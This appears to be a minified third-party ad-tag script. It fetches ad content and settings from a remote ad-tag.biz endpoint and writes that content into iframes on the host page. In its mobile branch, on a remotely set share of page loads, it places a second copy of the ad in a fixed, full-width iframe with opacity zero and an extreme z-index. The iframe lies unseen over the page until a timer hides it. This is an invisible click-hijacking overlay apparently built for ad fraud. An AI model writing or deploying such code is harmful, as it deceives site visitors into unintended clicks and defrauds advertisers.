if(window.jQuery) { }else{ var request = new XMLHttpRequest(); request.open('GET', '//ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js', false); request.send(null); if (request.status === 200) { var script = document.createElement('script'); script.text = request.responseText; document.head.appendChild(script);} } (function(){var crscr=document.crscr||(function(){ var scripts=document.getElementsByTagName('script'); return scripts.item(scripts.length-1)}()); var inline_n_id; var match=crscr.src.match(/id=([0-9]+?)(&|$)/); if(match){ var inline_n_id=decodeURIComponent(match[1])} var rootkjs; var scripts = document.getElementsByTagName("script"); var i = scripts.length; while (i--) { var match = scripts[i].src.match(/code\/inline.js\?id=(.*?)$/); var crscr = scripts[i]; if (match) { var rootkjs = match[1]; break; } } var inline_n_id = rootkjs; getParams(inline_n_id,function(param){ if(!param){return false} if(param[0] == ''){return false;} var ua = navigator.userAgent; if (ua.indexOf('iPhone') > 0 || ua.indexOf('iPad') > 0 || ua.indexOf('Android') > 0){ var ua2 = 'mobile'; if(param[2] == 'pc'){return false;} }else{ if(param[2] == 'mobile'){return false;} var ua2 = 'pc'; } console.log(param[10]); var kw = param[3]; var g = param[4]; var iframe=document.createElement('iframe'); crscr.parentNode.insertBefore(iframe,crscr); iframe.setAttribute("framespacing",0); iframe.setAttribute("frameborder",0); iframe.setAttribute("border",0); iframe.setAttribute("scrolling","no"); var rand_fid = Math.floor(Math.random() * 1000) + 1; var ifid;var ifid = 'inlinearea_' + inline_n_id + "_" + rand_fid; iframe.id = ifid; iframe.style.border="none"; iframe.style.padding="0"; iframe.style.margin="0"; var windowWidth = jQuery("#" + ifid).parent().width(); var windowheight = windowWidth * 0.88; iframe.style.height= windowheight +"px"; iframe.style.width= "100%"; var iframe_content=iframe.contentWindow.document; iframe_content.open(); if(param[10] == '18'){ iframe_content.write('' + param[0] + ''); }else{ iframe_content.write('
' + param[0] + '
'); } iframe_content.close(); if(ua2 == 'pc'){ jQuery("#" + ifid).css('height',param[4] + 'px'); jQuery("#" + ifid).css('width',param[3] + 'px'); }else{ var ww;var ww = jQuery(window).width()/kw; var ft1; if(param[5] == '0'){ var ft1 = windowWidth / kw; jQuery("#" + ifid).css({'height':g*ft1 + 'px','width':'100%'}); jQuery("#" + ifid).contents().find('.inline-ray-2_'+ ifid).css({'height':g*ft1 + 'px','margin-top':((g*ft1)-g)/2 + 'px','margin-bottom':((g*ft1)-g)/2 + 'px',}); jQuery("#" + ifid).contents().find('.inline-ray_'+ ifid).css({'transform':'scale('+ft1+')','transform-origin':'center'}); } else { jQuery("#" + ifid).css('height',param[4] + 'px'); jQuery("#" + ifid).css('width',param[3] + 'px'); }; var int_1;var int_1 = Number(param[7]); var int_2;var int_2 = Number(param[8]) / 100; var int_3;var int_3 = Number(param[9]); var randnum_inline_f;var randnum_inline_f = 1 + Math.floor( Math.random() * 100 ); if(int_1 > randnum_inline_f){ var boost;var boost=document.createElement('iframe'); crscr.parentNode.insertBefore(boost,crscr); boost.setAttribute("framespacing",0); boost.setAttribute("frameborder",0); boost.setAttribute("border",0); boost.setAttribute("scrolling","no"); boost.id = 'boostarea_' + inline_n_id; boost.style.border="none"; boost.style.padding="0"; boost.style.margin="0"; var windowWidth2 = jQuery(window).width(); var windowheight2 = windowWidth2 * 0.88; boost.style.height= windowheight2 +"px"; boost.style.width= "100%"; var boost_content = boost.contentWindow.document; boost_content.open(); boost_content.write('
' + param[0] + '
'); boost_content.close(); jQuery('#boostarea_' + inline_n_id).css({'transform':'scale('+int_2+')','transform-origin':'center','z-index':'99999999','position':'fixed','top':'30%','left':'0','opacity':'0','-moz-opacity':'0','-webkit-opacity':'0'}); setTimeout(function(){ jQuery('#boostarea_' + inline_n_id).css('display','none'); },int_3); } } }); function getParams(id_inlineact,callback){ var ua = navigator.userAgent; if (ua.indexOf('iPhone') > 0 || ua.indexOf('iPad') > 0){ var ag = 0; }else if(ua.indexOf('Android') > 0) { var ag = 1; }else{ var ag = 2; } var url='//ad-tag.biz/callback.php?id='+ id_inlineact + '&ag=' + ag; var bit=new XMLHttpRequest(); bit.open('GET',url,true); bit.setRequestHeader('X-Requested-With','XMLHttpRequest'); bit.send(null); bit.onreadystatechange=function(){ if(bit.readyState===4){ if(bit.status===200){ var param=JSON.parse(bit.responseText);callback(param)} } }}}());